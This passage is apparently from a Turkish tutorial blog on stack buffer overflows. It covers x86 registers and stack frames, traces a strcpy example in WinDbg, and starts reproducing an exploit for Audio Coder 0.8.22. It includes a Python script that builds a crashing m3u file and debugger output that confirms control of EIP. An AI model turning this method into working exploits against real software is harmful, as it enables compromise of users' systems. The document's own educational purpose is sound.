Bellek Taşması Zafiyetleri

Giriş

Bu yazımızda Buffer Overflow ya da Türkçesi ile Bellek Taşması zafiyetlerinden bahsedeceğiz. Söz konusu zafiyeti örnek bir uygulama üzerinde inceleyecek ve exploit kodunu geliştirmeye çalışacağız.

Nasıl Okumalıyım?

Bu yazı, okuyucuların konu hakkında çok az şey bildikleri varsayımıyla hazırlandı. Başlangıç seviyesindeki okuyucuların yazıyı okuduktan sonra, incelenen exploiti kendi başlarına tekrar yazmaları, ya da Exploit-DB’deki benzer açıklara sahip uygulamaları alıp, uygulamalardaki açıkların exploitlerini -crash’ten başlayarak- yazmaları konuyu pekiştirme adına avsiye edilmektedir.

Eğer konuya hakimseniz, Crash’in Sebebi başlığındaki güvenlik açığına sebebiyet veren kodun WinDbg ile trace edilmesi dışında yazının ilginizi çekecek bir kısmı olacağını sanmıyorum.

Hata Buldum?

Yazı ile ilgili hata, iyileştirme ya da görüş bildirmek için yorum olarak yazabilir, e-mail atabilir yahut twitter üzerinden iletişime geçebilirsiniz.

Bellek Taşması Nedir?

Bellek taşması, sınırlı boyuttaki bellek alanına, planlanan miktarın üzerinde veri kopyalanınca yaşanan taşma durumudur. En klasik örneği vermek gerekirse:

char a[4];
strcpy(a, 'cok uzun bir metin');

Örnek C kodunu açıklamak gerekirse:

  1. A isimli 4 baytlık bir karakter dizisi tanımlandı.

  2. Fonksiyon yardımıyla bu karakter dizisine 18 karakterlik bir metin kopyalandı.

  3. Ayrılan alan 4 baytlıktı, 18 karakter kopyalamaya çalıştığımızda ayırdığımız bellek taşacak ve geri kalan 14 karakter belleğin kenarındaki diğer bellek alanlarına yazılacak.

Eğer belleği taşırıp diğer hafıza alanlarına yazılacak baytlar saldırgan tarafından kontrol edilebiliyorsa, programın akışını kontrol edebilmek ya da değiştirmek mümkün olur. Nasıl yapılacağını anlatmadan önce bir takım önbilgilerden bahsetmek gerekir.

Temel Bilgiler

Bellek taşması dediğimiz hadiseyi anlatabilmek için bazı asgari temellere değinmemiz gerekiyor. Zira yazının geri kalan kısmı bu bilgiler üzerine inşa edilecek.

Register’lar

IA-32 mimarisindeki genel kullanımlı registerlara hızlı bir bakış atacağız.

Bütün registerların ilk harfi olan E extended, 16 bitlik mimariden extend edilerek, 32 bit olduğu manasına gelmektedir.

  • EAX: Akümülatör. Aritmetik işlemlerde bolca kullanılır. Ek olarak fonksiyonların geri dönüş değerleri de bu register’da saklanır.

  • EBX/EDX

  • ECX: Sayaç (counter). Döngülerde sayaç değişkeni olarak kullanılır. Ayrıca Object Oriented dillerinde geliştirilmiş yazılımlarda this pointer’inin değerini tutar.

  • ESP: Stack pointer. Daha sonra açıklayacağımız stack veri yapısının son giren (ya da diğer bir deyiş ile ilk çıkacak) elemanını gösterir.

  • EBP: Base pointer. Stack veri yapısının tabanını (ilk giren, son çıkacak elemanı) gösterir.

  • ESI/EDI: Source Index / Destination Index

  • EIP: Instruction pointer. CPU’nun an itibariyle code segment’i içerisindeki hangi instruction’i çalıştıracağını gösterir.

Program Hafızası

Çalıştırılabilir (executable) bir Win32 uygulaması hafızaya yüklendiğinde program verileri belli hafıza alanlarında tutulur. Bu başlı başına incelenmesi gereken uzun bir konu lakin olayı anlamak için yeterli bilgiye burada değineceğiz.

Code Segment

İşlemcinin çalıştırdığı makine komutlarının bulunduğu bölge. EIP register’ı bu bölgeden bir hafızaya işaret eder. Sadece okunabilir ve yazılamaz (read-only) bir alandır.

Data Segment

Global, statik değişkenlerin ve heap’in (program çalışırken edinilen kaynakların -malloc- tutulduğu veri yapısı) tutulduğu bölge. Program çalışırken değiştirilebilir (writable) bir bölgedir.

Stack Segment

Stack, LIFO (Last in first out) diye tabir edilen, ilk girenin son, son girenin ilk olarak çıkabileceği bir veri yapısıdır. PUSH işlemi ile stack’e yeni bir eleman eklenirken, POP işlemi ile stack’in en üstündeki eleman stack’ten çıkarılır. Çıkarılır derken, veri yapıları dersi almış ya da konu ile ilgili olanlar bilir, genelde POP işlemi stack’in en üstündeki elemanın çıkarılmasından ziyade orayı gösteren pointer’in değerinin değiştirilmesidir.

İşletim sistemi, her thread (hafif-sıklet process) için yeni bir stack ayırır. Stack yeni oluşturulduğunda EBP ve ESP register’ları aynı yeri gösterir. Stack’e eleman PUSH edildikçe EBP register’i sabit kalırken, ESP register’ının değeri gittikçe azalır.

Her fonksiyon çağrısında, şu bilgiler stack’e PUSH edilir: fonksiyon parametreleri, EBP ve o anki instruction pointer (EIP).  Çağrılan fonksiyonun işlemi bitip geri döndürüldüğünde stack’e daha önce PUSH edilmiş olan register’lar tekrar yerli yerine atanır. Bu şekilde programın kaldığı yerden devamı mümkün olur.

int main()
{
     int a=1;
     samplefunc(a,'another parameter');
}

Yukarıdakı kod parçası için, samplefunc çağrıldıktan sonra stack yapısı aşağıdaki gibi olur:

Bir önceki fonksiyon EBP’si
main fonksiyonu yerel değişkenleri
Fonksiyona geçilen parametreler
main fonksiyonu içerisindeki dönüş adresi
Fonksiyon girişindeki ESP: main fonksiyonu EBP’si
Fonksiyon içerisindeki EBP: Fonksiyon yerel değişkenleri
Fonksiyon içerisindeki ESP:  …

Fonksiyon Çağrıları

Stack Frame’inin Oluşturulması

Her fonksiyon başlangıcında aşağıdaki şekilde stack çerçevesi oluşturulur.

push ebp
mov ebp, esp

İlk instruction şu anki base pointer’i (EBP) stack’te saklar. Söz konusu fonksiyonun çalışması bitince, bu saklanan değer tekrar EBP’ye yüklenecek ve execution kaldığı yerde devam edebilecektir. İkinci instruction ile de şu anki stack pointer’ı (ESP), base pointer’ına (EBP) atanmakta.

Bu şekilde, fonksiyonun yerel değişkenlerine erişirken, EBP-X formatında bu pointer’ı kullanabiliriz. Fonksiyona geçilen parametrelere erişmek için de EBP+X pointer’ini kullanabiliriz.

EBP’nin değeri fonksiyon çalışırken değiştirilmez, değiştirilirse stack frame’i bozulmuş olur, işler karışır.

Geri Dönüş

Bir fonksiyondan geri dönüş, aşağıdaki instruction ile mümkün olur.

ret

Fonksiyon sonunda ret isimli instruction o an ESP pointer’inin gösterdiği adrese geri dönüş yapılmasını sağlar. Stack’teki yerel değişkenler ve diğer veriler fonksiyon sonunda ret instruction’ına gelinceye kadar POP işlemi ile stack’ten çıkartılırlar.  Bizim inceleyeceğimiz örneğin calling convention’u cdecl olduğu için, stack’e PUSH edilen parametrelerin stack’ten temizlenmesi fonksiyon çağrıcısının bloğunda yapılacak. Eğer calling convention’i stdcall  olsaydı, stack’in temizlenmesi çağrılan fonksiyon tarafından yapılmak zorunda olacaktı, bu da RET instruction’ina geçilecek parametre ile mümkün olacaktı. Örneğin:

ret 4

Fonksiyonun geri dönüş değeri EAX register’ında tutulur.

Fonksiyon Çağırmak

Fonksiyon çağrısı CALL instruction’i ile yapılır. Fonksiyon çağrılmadan önce, fonksiyona geçilecek parametrelerin stack’e PUSH edilmiş olması gerekir. Elimizde şöyle bir C kodu olsun 1.

int callee(int, int, int);

int caller(void)
{
	int ret;

	ret = callee(1, 2, 3);
	ret += 5;
	return ret;
}

Bu kodu dissasemble edersek:

	push	ebp
	mov	ebp, esp
	push	3
	push	2
	push	1
	call	callee
	add	esp, 12
	add	eax, 5
	pop     ebp
	ret
  • 1. ve 2. satırda stack frame’i oluşturuldu.
  • Parametreler ters sıra ile (cdecl gereği) stack’e PUSH edildi
  • 6. satırda fonksiyon çağrısı yapıldı.
  • 7. satırda, daha önce stack’e PUSH edilmiş 3 parametre ( 3 x sizeof(int) =12 byte), stack pointer’ının kaydırılmasıyla temizlenmiş oldu. Bu yine cdecl gereği çağrıcı fonksiyonun içerisinde yapıldı, eğer stdcall convention’i kullanılmış olsaydı callee fonksiyonunun içerisinde bu temizleme işlemi yapılacaktı.
  • 8. satırda geri dönüş değerine 5 eklendi.
  • 9. satırda bir önceki fonksiyona geri dönüş yapılmadan önce, stack frame düzeltildi.
  • 10. satırda bir önceki fonksiyona geri dönüş yapıldı, dönüş değeri de EAX içindeki sayı.

Bir Örnek

Visual Studio 2010 Express Edition üzerinde yeni bir C++ projesi 2 oluşturup, aşağıdaki kodu derleyin.

#include <string.h>

void copy_source(char * source)
{
	char bellek[8];
	strcpy(bellek,source);
}

int main()
{
	copy_source("test");
}

Aşağıdaki ayarlar sayesinde en basit ve anlaşılır kodu üreteceğiz.

Proje ayarlarından:

  • C/C++ > Code Generation > Buffer Security Check → Disabled

  • C/C++ > Code Generation > Basic Runtime Checks → Default

  • C/C++ > Optimization > Optimization → Disabled

  • C/C++ > Optimization > Enable Intrinsic Functions → No

Kod derlendikten sonra oluşan EXE dosyasını WinDbg isimli araç ile debug ediyoruz.

  1. WinDbg’i açtıktan sonra File > Open Executable menüsünden oluşan EXE dosyasını açıyoruz.

  2. WinDbg ekranına, WinDbg ekranında en altta bulunan komut satırına, şu komutu giriyoruz: ‘uf main’. Bu komut ile main fonksiyonunu dissasemble ediyoruz ve çıktısı açıklamarıyla birlikte aşağıda.

Devam etmeden önce ‘bp StackWalkthrough!main’ komutu ile main fonksiyonu başına bir breakpoint koyarsak takip etmemiz daha kolay olur. Sonrasında ‘g’ komutu ile devam ediyoruz.

0:000> uf main
StackWalkthrough!main:
00401020 push    ebp
00401021 mov     ebp,esp

Buraya kadar olan bölümde, öncelikli olarak EBP stack’e PUSH edildi. Sonrasında ESP’nin değeri EBP’ye atandı. Böylece yeni bir stack frame’i oluşturulmuş oldu. Şu an ESP ve EBP aynı adrese sahipler ve stack’in aynı bölgesini gösteriyorlar. Onların gösterdiği adresin 4 bayt altına 3 ise orjinal EBP yedeklendi.

Bir sonraki adıma devam etmek için WinDbg ekranında ‘t’ komutunu giriyoruz.

00401023 push    offset StackWalkthrough!__security_cookie_complement+0x4 (00403020)

Stack’e bir şeyin adresi PUSH edildi. O adreste ne olduğunu görmek için WinDbg ekranında şu komutu giriyoruz:

0:000> da StackWalkthrough!__security_cookie_complement+0x4

00403020  “test”

Burada kullanılan ‘da’ dediğimiz komutun anlamı ‘dump ascii’.

Devam ediyoruz ‘t’ ile.

0:000> t
eax=00343158 ebx=00000000 ecx=78b53714 edx=00000000 esi=00000001 edi=00403380
eip=00401028 esp=0012ff78 ebp=0012ff7c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
StackWalkthrough!main+0x8:

00401028 e8d3ffffff      call    StackWalkthrough!copy_source (00401000)

Fonksiyon çağrısı yapılıyor. Şu anda stack’in durumuna bakalım. Stack’in tabanı (EBP) 0012ff7c, tavanı ise (ESP) 0012ff78 adresini gösteriyor. Bakalım stack’te ne var?

0:000> d esp

0012ff78  00403020 0012ffc0 004011a1 00000001

Görüldüğü üzere 0012ff78 adresinde 00403020 adresi var. Bu adreste ‘test’ string’i olduğunu bir önceki adımda göstermiştik.

Bu fonksiyonda ne yapıldığını, main fonksiyonunun analizi bittikten sonra inceleyeceğiz.

0040102d add     esp,4

Stack’e daha önce push edilen parametre stack’ten çıkartıldı.

00401030 xor     eax,eax

Bu da ASM kod okurken göreceğiniz klasik motiflerden birisidir. Bu instruction’ının meali  ‘eax = 0’ dır. Fonksiyon bittikten sonra geri dönen değer EAX üzerinden aktarıldığı için, main fonksiyonu 0 değerini döndürecektir.

00401032 pop     ebp 

Bu komut ile main fonksiyonu için oluşturulmuş stack frame’i yok edilmiş ve main fonksiyonunu çağıran fonksiyonun stack frame’i tekrar aktif hale getirilmiştir.

00401033 ret

Bu instruction ile main fonksiyonu bitmiş ve main fonksiyonunu çağıran fonksiyona geri dönülmüştür. Geri dönüş değeri, EAX üzerinde taşındığı için 0 olacaktır.

Şimdi ise 00401028 adresinde çağrılan ‘copy_source’ fonksiyonunu incelemek için, ‘.restart’ komutuyla debugging sürecini tekrar başlatalım ve ‘bp copy_source’ komutuyla copy_source fonksiyonu başlangıcına breakpoint koyalım.

0:000> uf copy_source
StackWalkthrough!copy_source:
00401000 push    ebp
00401001 mov     ebp,esp

Buraya kadar ki mevzuu bir önceki adımda açıklanmıştı, stack frame’i oluşturuldu.

00401003 sub     esp,8

Sonrasında ise ESP’den 8h (yani 10’luk tabanda 8 * 1 = 8) çıkarıldı. Bu işlemin meali ise, copy_source fonksiyonundaki yerel değişkenler için 8 baytlık yer ayrılmasıdır.

0:000> t
eax=00343158 ebx=00000000 ecx=78b53714 edx=00000000 esi=00000001 edi=00403380
eip=00401006 esp=0012ff68 ebp=0012ff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

StackWalkthrough!copy_source+0x6:
00401006 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:0012ff78=00403020

Bu instruction’da EBP+8 adresindeki dword, EAX’a yüklendi. Peki EBP+8 ‘de ne vardı? Bir önceki analizimizde ‘main’ fonksiyonunda stack oluşturulmuştu. O oluşturulan stack’te (şimdi geçerli olan frame değil) ne olduğuna bakalım tekrar.

0:000> d ebp

0012ff70  0012ff7c 0040102d 00403020 0012ffc0

Stack’te bulunan her şeyi açıklamak gerekirse:

Adres

İçindeki

Meal

0012ff70

0012ff7c

copy_source fonksiyonu başında PUSH edilen EBP. Fonksiyon bittikten sonra şu anki stack frame yok edilsin, eski haline getirilsin diye saklanıyor.

0012ff74

0040102d

Return adresi. copy_source fonksiyonu bittikten sonra dönülecek, main fonksiyonu içerisinde adres.

0012ff78

00403020

copy_source fonksiyonuna geçilen ‘test’ string parametre.

0012ff7c

0012ffc0

main fonksiyonu başında PUSH edilen EBP

Görüldüğü üzere EAX’a ‘test’ stringinin adresi olan 00403020 yüklenmiştir.

Devam edelim.

00401009 push    eax

Stack’e ‘test’ string’inin adresi PUSH edildi.

0040100a lea     ecx,[ebp-8]

Instruction bir lea (load effective address) instruction’idir.  Bellek değişkeninin adresi ECX’e yüklendi. Bu sefer stack’ten değil de yerel değişkenlerden birisinin adresi ECX’e yüklendi.

Bu da aklınızda tutmanız gereken önemli bir bilgidir, EBP’nin nasıl oluşturulduğuna bağlı olarak genelde EBP+X ile stack üzerinden gönderilen parametrelere, EBP-X ile yerel değişkenlere erişiyoruz.

0040100d push    ecx

Stack’e yerel değişkenin adresi PUSH edildi.

0040100e call    dword ptr [StackWalkthrough!_imp__strcpy (004020a0)]

Burada strcpy fonksiyonu çağırıldı. Devam ediyoruz.

00401014 add     esp,8

Stack’e PUSH edilmiş iki adet parametre, ‘test’ stringi ve yerel değişken adresi, stack’ten temizlendi.

00401017 mov     esp,ebp
00401019 5d pop     ebp

Stack frame’i düzeltildi.

0040101a c3 ret

Bu örnek bu konuda olabilecek en basitlerinden. Gerçek dünyada reverse engineering yaparken bu kadar basit şeyler görmeniz, çok mümkün değil.

Bu örneği tamamen anlamadan yazıya devam etmenizi tavsiye etmem. Anlayana kadar tekrar okuyabilir ve anlaşılmayan yerleri yorum olarak sorabilirsiniz.

Gerçek Bir Örnek

Şimdi, bir uygulamada bulunmuş gerçek bir güvenlik açığını inceleyecek ve adım adım ilerleyerek exploit kodunu yazacağız. Örnek uygulama seçmek için exploit-db’deki son buffer overflow exploitlerine göz attım.

Örnek uygulama : Audio Coder 0.8.22 (32 bit sürümü). Bu adresten download edebilirsiniz. Bu yazıda inceleyip, şu exploit’i baştan yazacağız. Exploit’e bakarsanız eğer, programa m3u uzantılı dosyaları verebiliyorsunuz ve bir şekilde bu dosyaları doğru handle edemeyip güvenlik açığına sebep oluyor. Adım adım güvenlik açığını inceleyecek, hem de konunun gerçekten anlaşılması için açığın ne şekilde oluştuğundan bahsedeceğiz. Yazıda mona.py ya da ona benzer, exploit geliştirmeyi kolaylaştıracak araçlar kullanılmayacak. Bundaki amacımız, her adımı derinlemesine anlatmak.

Gerekli Araçlar

Crash’i tetikleyelim

file="exp-1-crash.m3u"
buf="http://" + "A"*993;
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Bu python kodu ile ilk dosyamızı oluşturuyoruz. Oluşan m3u dosyasına çok uzun bir URL girdik.

Screen Shot 2013-12-14 at 7.22.15 PM

WinDbg’ı açıp, File > Open Executable’a tıkadıktan sonra C:\Program Files\AudioCoder klasörü altındaki çalıştırılabilir program dosyası AudioCoder.exe ‘yi seçelim. WinDbg ile çalıştırılabilir dosya açılır açılmaz şu ekranla karşılaşıyoruz:

(5ec.930): Break instruction exception – code 80000003 (first chance)

eax=00251eb4 ebx=7ffdd000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

ntdll!DbgBreakPoint:
7c90120e cc int 3

Bazı modüller yüklendikten sonra, henuz hiçbir instruction çalıştırılmadan debugger kontrolü bize verdi. Burada durduğu instruction bir int3, yani bir software breakpoint’indeyiz şu anda. Yazıyı daha da uzatıp karmaşık bir hale getirmek istemediğimden breakpoint’lerin detaylarına şimdlilik pek girmeyeceğim.

Bu noktada ‘g’ komutu ile programın çalışmasını devam ettirebiliriz. Programın normal akışına müdahale etmeden, m3u dosyasını verdiğimizde nasıl davranıyor onu görelim. ‘g’ komutunu girdikten sonra AudioCoder normal çalışmasına devam edecek, biz de AudioCoder üzerinde File > Add File ekranından, bir önceki adımda oluşturduğumuz ‘exp-1-crash.m3u’ isimli dosyayı seçelim. Sonuç:

(5ec.930): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=004b5f30 ebx=00208760 ecx=0024cb70 edx=00000285 esi=7e42f3c2 edi=004b5f30
eip=41414141 esp=0012e4fc ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

<Unloaded_.dll>+0x41414130:
41414141 ?? ???

Burada 41 değerinin 16’lık tabanda olduğu hatırlanırsa, 10’luk tabanda 65 ve ASCII tablosunda da ‘A’ karakterinin değerine dek gelecektir. Dosyaya yazdığımız A baytları bir şekilde EIP ‘nin üzerinde yazıldı.

Vanilla buffer overflow dediğimiz türde bir açık, çünkü doğrudan dosyaya yazdığımız URL baytları üzerinden EIP kontrolünü sağladık. Günümüz dünyasının ticari yazılımlarında bu kadar kolay şekilde EIP kontrolü almak çok mümkün değil.

Satranç oyuncuları bilirler, iki tarafında eşit sayıda piyonu var, oyun sonunda vezir kanadında karşı tarafa göre bir piyon fazlanız var ise muhtemel konumların çok büyük kısmında üstünsünüz ve teorik olarak oyunu kazandınız demektir. Ama teoriyi pratiğe dökebilmek için dersinizi iyi çalışmış olmanız, o konumun kazanç prensiplerini bilmemiz, nasıl kazanca gidildiğini daha önce pratik yapmış olmanız gerekir. Aksi takdirde oyun sırasında süre baskısıyla doğru şekilde hesaplayamayabilirsiniz. Bu konudaki EIP kontrolü de buna benzer. EIP kontrolü sağlayabildikten sonra genellikle 4 konu kapandı ve açık exploit edilebilir demektir, ama exploit kodunu yazabilmek için o konumun senaryolarında (stack cookies, safeSEH, DEP, ASLR vs.) nasıl hareket edeceğinizi biliyor olmanız gereklidir.

Burada instruction pointer’inin değeri (EIP) 41414141. O hafıza alanında da erişim hakkımız bulunmadığından,  Access violation – code c0000005 (first chance) şeklinde bir exception aldık.

0:002> !address 0x41414141
3ec5d000 : 3ec5d000 – 1cc03000
Type 00000000
Protect 00000001 PAGE_NOACCESS
State 00010000 MEM_FREE
Usage RegionUsageFree

Crash’in Sebebi

Bu adımda crash’i tetikleyen instruction’lari bulmaya ve crash’in sebebini anlamaya çalışacağız. Benim burada izleyeceğim yöntem, girdimizi memory’de takip ederek nasıl operasyonlardan geçip en sonunda stack’e kopyalandığını tespit etmek. Eminim ki, bana göre Reverse Engineering tecrübesi daha fazla olan arkadaşlar crash’e sebep olan bölümü çok daha pratik şekilde bulabilir.

İncelemeye başlamadan önce temel prensibimizden bahsedelim. Eğer ne aradığınızı bilmiyorsanız,  sayfalarca instruction arasında kaybolmanız çok doğal. Biz de WinDbg içerisinde sakat görünen kopyalama işlemlerine bakacağız.

Eğer AudioCoder’i bir önceki adımda debugger ile değil de doğrudan çalıştırmış olsaydık, dosyayı açar açmaz yazılımın crash olduğunu görecektik. Crash olmasının sebebi verdiğimiz dosyanın içeriği, yazılım içerisinde işlenirken bir şekilde EIP ‘nin üzerinde yazılması. EIP’nin her fonksiyon çağrısında stack’e PUSH edildiği ve her fonksiyondan dönerken ret instruction’ininda, stack’ten POP edilip EIP’e atandığı ve programın çalışmasının bu şekilde kaldığı yerden devam ettiğini daha önce anlatmıştık. Burada da olan şey, sağladığımız dosya içerisindeki URL, muhtemelen stack’te URL için ayrılmış olan yere sığmadı ve stack’teki diğer elemanların üzerinde yazıldı. Normalde crash’in sebebini uzun uzadıya incelemeden, doğrudan hangi bayların EIP kontrolünü sağladığını çok pratik şekilde tespit edip exploit’i yazmaya devam edebiliriz 5, ama bellek taşmalarının daha iyi anlaşılması adına burada biraz daha inceleme yapacağız.

Şimdi, dosya içeriğinin hafızanın hangi alanına yazıldığını görmek için aşağıda belirtilen WinDbg komutu ile, hafızada arama yapacağız.

0:000> s -a 0 L?80000000 “http://AA”
0024f218 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA
004bf900 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA

Evet iki farklı bölgede görüyoruz. Birisi 004bf900, diğeri de 0024f218. Debugging sürecini ‘.restart’ komutuyla başlattıktan sonra, aynı dosyayı tekrar programa verip crash’i tekrar tetikledikten sonra arama komutunu tekrar ediyoruz ve bu seferki sonuç şu şekilde:

0:000> s -a 0 L?80000000 “http://AA”
004bf900 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA
02850618 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA

İki farklı aramada, değişmeyen adres 004bf900 oldu. Bu memory alanına yapılacak erişimlere breakpoint koyup, ilgili verinin etrafında biraz daha dolaşalım. Amacımız, bu adresteki verinin bir başka adrese kopyalanması işlemlerini takip etmek ve muhtemel güvenlik açığı içeren kopyalama işlemlerini (strcpy vs.)  tespit edip, EIP’nin üzerine nerede yazıldığını tespit etmek.

Debugging’i ‘.restart’ ile baştan başlatalım, ilk duraklama anında ‘g’ ile devam edelim ve bütün modüller yüklendikten sonra, WinDbg üzerinde Debug> Break’e tıklayak kontrolü debugger’a getirelim. Sonrasında şu komutu giriyoruz.

0:004> ba r2 004bf900
0:004> g

Bu komut (break on access), 004bf900-004bf902 adres aralığına erişim anında, memory breakpoint ile programın akışını kesecek ve daha fazla inceleme yapmak için kontrolü bize verecek. ‘g’ komutu ile programı çalıştırmaya devam ediyoruz. Tekrar exp-1-crash.m3u dosyasını yükleyince, bu sefer EIP kontrolünden önce breakpoint’imize takılıyor.

Breakpoint 0 hit
eax=004bf900 ebx=000003e7 ecx=0012df68 edx=0012e1e8 esi=0015fd18 edi=0012e1e8
eip=00475040 esp=0012defc ebp=0012defc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
image00400000+0x75040:
00475040 ff02 inc dword ptr [edx] ds:0023:0012e1e8=004bf900

Evet o memory alanına ilk erişim yapıldı. Görüntüye göre EDX stack üzerindeki bir parametreye pointer tutuyor ve o değişken de bizim breakpoint koyduğumuz 004bf9000. Hemen o memory bölgesine bizim dosya ile verdiğimiz URL yüklendi mi, yüklenmedi mi onu kontrol edelim.

0:000> dd poi(edx)
004bf900 00000068 00000000 00000000 00000000
004bf910 00000000 00000000 00000000 00000000
004bf920 00000000 00000000 00000000 00000000
004bf930 00000000 00000000 00000000 00000000
004bf940 00000000 00000000 00000000 00000000
004bf950 00000000 00000000 00000000 00000000
004bf960 00000000 00000000 00000000 00000000
004bf970 00000000 00000000 00000000 00000000

0:000> da poi(edx)
004bf900 “h”

Sadece bir karakter yazılmış bu alana, o da 68h=104d=’h’ karakteri. Anlaşılan bizim dosyada belirttiğimiz URL – http://AAA.. – bu alana kopyalanmaya başlanmış. Bu instruction da inc instruction’i. Bunun anlamı, EDX’in işaret ettiği pointer’in değeri bir arttırılarak bir sonraki karakterin, bir sonraki adrese kopyalanması. Devam ediyoruz ‘g’ ile.

0:000> g
Breakpoint 0 hit
eax=004bf901 ebx=000003e6 ecx=0012df74 edx=0012e1e8 esi=0015fd18 edi=0012e1e8
eip=00475040 esp=0012defc ebp=0012defc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x75040:
00475040 ff02 inc dword ptr [edx] ds:0023:0012e1e8=004bf901

Tekrar breakpoint’e dek geldik. Geçen instruction’da pointer’in değeri bir arttırılmıştı, şimdi ondan ötürü 004bf901 oldu. Bu sefer onun değerine bakmak gerekirse:

0:000> da poi(edx)-1
004bf900 “ht”

Sanırım artık şu an itibariyle, dosya içeriği bayt bayt 004bf900 adresine kopyalan rutinin içerisinde olduğuna eminiz. Ondan ötürü aynı instruction noktasında breakpoint gelince, doğrudan ‘g’ komutu ile devam edeceğim. Ilk olarak şu instruction’da durdu:

0:000> g
Breakpoint 0 hit
eax=004bf900 ebx=0012e24c ecx=004bf498 edx=00150608 esi=00000000 edi=004bf498
eip=0041a73a esp=0012e1c8 ebp=7e42f3c2 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x1a73a:
0041a73a 741d je image00400000+0x1a759 (0041a759) [br=0]

Burada eax’in değeri bizim breakpoint’in tetiklenmesine sebep oldu. Bu instruction ile, EAX’in 0 olup olmadığına bakılıyor. Muhtemelen null pointer kontrolü. Bir şeylerin kopyalanacağının habercisi olabilir.

0:000> s -a 0 L?80000000 “http://A”
02853328 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA
004bf900 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA

Hazır durmuşken, hafızada girdigimiz adresi tekrar arattık ve bir yerde daha olduğunu gördük. Oraya da hemen breakpoint koyuyoruz.

0:000> ba r2 02853328

Daha önce söylediğimiz üzere, bu breakpoint koyduğumuz hafıza adresinden verinin kopyalanıp stack’e yazıldığı işlemleri takip etmeye çalışıyoruz, o yüzden MOV, REP MOV gibi kopyalama instruction’lari dışındakileri incelemeden devam edeceğim.

0:000> g
Breakpoint 0 hit
eax=00000068 ebx=00000000 ecx=00001003 edx=004bf900 esi=00001000 edi=004bf900
eip=7c809edc esp=0012dee8 ebp=0012df14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!IsBadReadPtr+0x33:
7c809edc 8d46ff lea eax,[esi-1]

Burada EDX ve EDI bizim URL’i gösteriyor, yani 004bf900. Ama farkettiyseniz şu anda kernel32 modulunun IsBadReadPtr isimli rutininin içerisindeyiz. Burada process’in bu pointer’ın gösterdiği memory alanına erişip erişemeyeceği kontrol ediliyor, ama kopyalama yapılmadığı kesin olduğu için, ilgilenmeden devam ediyorum. Tekrar programın kendi modüllerine düşene kadar ‘g’ ile devam edebiliriz. Ama biraz daha WinDbg pratigi yapmak isteyenler breakpoint’lerin tümünü de-aktif hale getirip, pa komutu ile modüle tekrar düşeceği instruction adresine kadar da otomatik şekilde devam ettirebilir.

0:000> g
Breakpoint 1 hit
eax=02853328 ebx=0012e24c ecx=00000001 edx=00150608 esi=00000008 edi=004bf498
eip=0041a73a esp=0012e1c8 ebp=7e42f3c2 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x1a73a:
0041a73a 741d je image00400000+0x1a759 (0041a759) [br=0]

Tekrar aynı instruction’a düştük. Bunu yukarıda incelemiştik, muhtemelen veri bir başka memory alanına daha kopyalanacak. Sonrasında yine aynı şekilde kernel32!IsBadReadPtr ‘ın içine düşüyoruz, aynı şekilde modüle geri dönene ve MOV ya da REPMOV gibi bir instruction görene kadar ‘g’ ile devam edelim. Bir kaç noktadan geçtikten sonra şuraya düşüyoruz:

0:000> g
Breakpoint 1 hit
eax=02853710 ebx=02853328 ecx=000003a8 edx=000003e8 esi=02853368 edi=0024f6a0
eip=0046e54a esp=0012e260 ebp=0012e3d8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
image00400000+0x6e54a:
0046e54a f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

Burada ESI pointer’inin gösterdiği yerdeki veri alınıp, EDI’ye kopyalanıyor. ESI ‘deki pointer bizim uzun URL’imizi işaret ediyor. Ama EDI’deki pointer stack üzerinde bir yeri işaret etmediği için, güvenlik zafiyetine sebep olan kopyalama işlemi bu olmamalı. Stack bölgeleri, ESP ve EBP pointer’larında görüleceği üzere 0012 ile başlayanlar. ‘g’ ile devam ediyoruz kopyalama işlemi görene kadar ve neticesinde şuraya düşüyoruz.

0:000> g
Breakpoint 1 hit
eax=00000068 ebx=7e42f3c2 ecx=02853328 edx=fd8db0d0 esi=004b5f30 edi=00a501e6
eip=0041f219 esp=0012e398 ebp=0012e714 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
image00400000+0x1f219:
0041f219 88040a mov byte ptr [edx+ecx],al ds:0023:0012e3f8=24

